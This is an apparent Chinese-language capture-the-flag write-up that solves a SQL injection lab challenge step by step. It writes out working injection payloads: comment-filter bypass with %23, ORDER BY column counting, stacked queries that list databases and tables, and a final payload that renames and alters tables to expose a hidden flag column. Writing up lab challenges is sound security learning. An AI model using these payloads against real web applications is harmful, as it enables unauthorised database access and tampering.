?inject='
首先尝试单引号,发现注入点。
?inject=1' or 1=1--
?inject=1' or 1=1#
两种常规注释都无法注释,最后%23成功。
?inject=1' order by 3%23
order by 发现输出两列。
?inject=1' union select 1,2%23
尝试利用联合查询查看输出位置。发现若干过滤词,联合查询行不通。
?inject=1%27%20;show%20databases;
尝试堆叠查询,发现可以!
首先我看到的是那个ctftraining数据库,所以我被骗了,我深入了这条线
?inject=1%27%20;show%20databases;use ctftraining;show tables;
经过深入,我看到了一个FLAG_TABLE表
?inject=1%27%20;show%20databases;use ctftraining;show tables;desc FLAG_TABLE;
用desc看看里面的列类型。
里面说没有Flag,而且根据题目的形式来看有以下情况:
?inject=1' or 1=1%23
,sql语句输出模式是,取当前表的两个字段,因为我们不能用联合查询select其他的表,所以只能对当前表进行操作。
?inject=1';show tables;
那就先看看当前的库有哪些表。
1919810931114514这个表长得比较特殊,从它入手吧。
?inject=1';desc
1919810931114514`;仿佛看到了希望,但是也只能看到一个有可能的表里面有一个有可能的列是flag,并没有手段去看flag列中具体是什么。
做到这里不会做了。查看wp,学到了很多:
首先用desc看表的列属性时,可以看有几个列属性,有几个列属性说明,全真输出时会输出几个字段。
其次观察题目给的默认sql语句中,查询出来的字段是两个。那么说明题目给的默认from table 的 table 他有两个列属性,desc words后发现果然有两个列属性。
很大可能当前默认table是words表。
学到了一种重命名的方法,原sql查询语句中的selct * from table 中的 table没法改,可以想看的表名称改为目前默认from table的table表名,这样就可以偷天换日。
构造语句为:
1';rename table words to words1;rename table 1919810931114514
to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
这时全真查询?inject=1' or 1=1%23
得到flag。